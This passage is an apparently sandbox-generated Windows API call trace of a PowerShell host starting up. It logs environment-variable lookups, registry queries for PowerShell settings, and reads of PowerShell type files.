lpBuffer="") returned 0x0 [0070.399] GetLastError () returned 0xcb [0070.401] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.401] GetLastError () returned 0xcb [0070.401] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0070.401] GetLastError () returned 0xcb [0072.273] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.273] GetLastError () returned 0xcb [0072.273] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.273] GetLastError () returned 0xcb [0072.273] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.273] GetLastError () returned 0xcb [0072.274] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.274] GetLastError () returned 0xcb [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.380] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e260, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.381] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x29e210, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0072.381] GetLastError () returned 0x3 [0072.383] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0072.383] GetLastError () returned 0x3 [0072.384] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x3566f8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0072.384] GetLastError () returned 0x3 [0072.385] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e820 | out: phkResult=0x29e820*=0x34c) returned 0x0 [0072.385] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x29e864, lpData=0x0, lpcbData=0x29e860*=0x0 | out: lpType=0x29e864*=0x2, lpData=0x0, lpcbData=0x29e860*=0x6c) returned 0x0 [0072.385] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x29e864, lpData=0x3566f8, lpcbData=0x29e860*=0x6c | out: lpType=0x29e864*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x29e860*=0x6c) returned 0x0 [0072.385] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x3566f8, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0072.385] GetLastError () returned 0x3 [0072.385] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x3566f8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0072.385] GetLastError () returned 0x3 [0072.386] RegCloseKey (hKey=0x34c) returned 0x0 [0072.386] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x3566f8, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0072.386] GetLastError () returned 0x3 [0072.386] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e820 | out: phkResult=0x29e820*=0x34c) returned 0x0 [0072.387] RegQueryValueExW (in: hKey=0x34c, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x29e864, lpData=0x0, lpcbData=0x29e860*=0x0 | out: lpType=0x29e864*=0x0, lpData=0x0, lpcbData=0x29e860*=0x0) returned 0x2 [0072.387] RegCloseKey (hKey=0x34c) returned 0x0 [0072.405] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x3566f8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents") returned 0x0 [0072.407] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x29e388, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0072.407] GetLastError () returned 0x3f0 [0072.692] SetEnvironmentVariableW (lpName="PSMODULEPATH", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 1 [0072.692] GetLastError () returned 0x3f0 [0072.708] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e7a0 | out: phkResult=0x29e7a0*=0x354) returned 0x0 [0072.709] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e808, lpData=0x0, lpcbData=0x29e804*=0x0 | out: lpType=0x29e808*=0x1, lpData=0x0, lpcbData=0x29e804*=0x74) returned 0x0 [0072.709] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e7e8, lpData=0x0, lpcbData=0x29e7e4*=0x0 | out: lpType=0x29e7e8*=0x1, lpData=0x0, lpcbData=0x29e7e4*=0x74) returned 0x0 [0072.709] RegQueryValueExW (in: hKey=0x354, lpValueName="path", lpReserved=0x0, lpType=0x29e7e8, lpData=0x3566f8, lpcbData=0x29e7e4*=0x74 | out: lpType=0x29e7e8*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0x29e7e4*=0x74) returned 0x0 [0072.709] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", nBufferLength=0x105, lpBuffer=0x29e368, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpFilePart=0x0) returned 0x2a [0072.709] GetLastError () returned 0xcb [0072.709] SetErrorMode (uMode=0x1) returned 0x1 [0072.709] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x29e7e8 | out: lpFileInformation=0x29e7e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0072.709] GetLastError () returned 0xcb [0072.709] SetErrorMode (uMode=0x1) returned 0x1 [0072.711] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e35c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.711] GetLastError () returned 0xcb [0072.711] SetErrorMode (uMode=0x1) returned 0x1 [0072.711] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7dc | out: lpFileInformation=0x29e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0072.731] GetLastError () returned 0xcb [0072.731] SetErrorMode (uMode=0x1) returned 0x1 [0072.732] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e35c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.732] GetLastError () returned 0xcb [0072.732] SetErrorMode (uMode=0x1) returned 0x1 [0072.732] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x29e7dc | out: lpFileInformation=0x29e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c2d31c, ftCreationTime.dwHighDateTime=0x1c9ea11, ftLastAccessTime.dwLowDateTime=0xd7c2d31c, ftLastAccessTime.dwHighDateTime=0x1c9ea11, ftLastWriteTime.dwLowDateTime=0xd7c5347c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0072.738] GetLastError () returned 0xcb [0072.738] SetErrorMode (uMode=0x1) returned 0x1 [0072.743] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x3566f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0072.743] GetLastError () returned 0xcb [0072.744] GetACP () returned 0x4e4 [0072.759] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.759] GetLastError () returned 0x0 [0072.759] SetErrorMode (uMode=0x1) returned 0x1 [0072.761] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0072.762] GetLastError () returned 0x0 [0072.763] GetFileType (hFile=0x358) returned 0x1 [0072.763] SetErrorMode (uMode=0x1) returned 0x1 [0072.763] GetFileType (hFile=0x358) returned 0x1 [0072.771] ReadFile (in: hFile=0x358, lpBuffer=0x2b8191c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b8191c*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.773] GetLastError () returned 0x0 [0072.774] ReadFile (in: hFile=0x358, lpBuffer=0x2b8191c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b8191c*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.774] GetLastError () returned 0x0 [0072.774] ReadFile (in: hFile=0x358, lpBuffer=0x2b8191c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b8191c*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.774] GetLastError () returned 0x0 [0072.775] ReadFile (in: hFile=0x358, lpBuffer=0x2b8191c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b8191c*, lpNumberOfBytesRead=0x29e754*=0xcf3, lpOverlapped=0x0) returned 1 [0072.775] GetLastError () returned 0x0 [0072.775] ReadFile (in: hFile=0x358, lpBuffer=0x2b80daf, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b80daf*, lpNumberOfBytesRead=0x29e754*=0x0, lpOverlapped=0x0) returned 1 [0072.776] GetLastError () returned 0x0 [0072.776] ReadFile (in: hFile=0x358, lpBuffer=0x2b8191c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2b8191c*, lpNumberOfBytesRead=0x29e754*=0x0, lpOverlapped=0x0) returned 1 [0072.776] GetLastError () returned 0x0 [0072.776] CloseHandle (hObject=0x358) returned 1 [0072.776] GetLastError () returned 0x0 [0072.778] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e2b4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.778] GetLastError () returned 0x0 [0072.778] SetErrorMode (uMode=0x1) returned 0x1 [0072.778] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2b92c90 | out: lpFileInformation=0x2b92c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0058e2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0058e2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd7bbaefc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0072.778] GetLastError () returned 0x0 [0072.778] SetErrorMode (uMode=0x1) returned 0x1 [0072.779] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.779] GetLastError () returned 0x0 [0072.779] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x29e6d8 | out: phkResult=0x29e6d8*=0x358) returned 0x0 [0072.779] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e720, lpData=0x0, lpcbData=0x29e71c*=0x0 | out: lpType=0x29e720*=0x1, lpData=0x0, lpcbData=0x29e71c*=0x56) returned 0x0 [0072.779] RegQueryValueExW (in: hKey=0x358, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x29e720, lpData=0x3566f8, lpcbData=0x29e71c*=0x56 | out: lpType=0x29e720*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x29e71c*=0x56) returned 0x0 [0072.780] RegCloseKey (hKey=0x358) returned 0x0 [0072.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e280, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.780] GetLastError () returned 0x0 [0072.780] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e214, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0072.780] GetLastError () returned 0x0 [0072.835] GetSystemInfo (in: lpSystemInfo=0x29de58 | out: lpSystemInfo=0x29de58*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0072.836] VirtualQuery (in: lpAddress=0x29d614, lpBuffer=0x29e614, dwLength=0x1c | out: lpBuffer=0x29e614*(BaseAddress=0x29d000, AllocationBase=0x260000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0072.848] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0x29e1ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0072.848] GetLastError () returned 0x0 [0072.848] SetErrorMode (uMode=0x1) returned 0x1 [0072.848] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\types.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x358 [0072.848] GetLastError () returned 0x0 [0072.848] GetFileType (hFile=0x358) returned 0x1 [0072.848] SetErrorMode (uMode=0x1) returned 0x1 [0072.848] GetFileType (hFile=0x358) returned 0x1 [0072.849] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.852] GetLastError () returned 0x0 [0072.852] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.853] GetLastError () returned 0x0 [0072.853] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.853] GetLastError () returned 0x0 [0072.854] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.854] GetLastError () returned 0x0 [0072.854] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.854] GetLastError () returned 0x0 [0072.855] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.855] GetLastError () returned 0x0 [0072.855] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.855] GetLastError () returned 0x0 [0072.855] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.855] GetLastError () returned 0x0 [0072.856] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.856] GetLastError () returned 0x0 [0072.857] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.857] GetLastError () returned 0x0 [0072.857] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.857] GetLastError () returned 0x0 [0072.858] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.858] GetLastError () returned 0x0 [0072.858] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, lpNumberOfBytesRead=0x29e754*=0x1000, lpOverlapped=0x0) returned 1 [0072.858] GetLastError () returned 0x0 [0072.858] ReadFile (in: hFile=0x358, lpBuffer=0x2bc70ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x29e754, lpOverlapped=0x0 | out: lpBuffer=0x2bc70ac*, 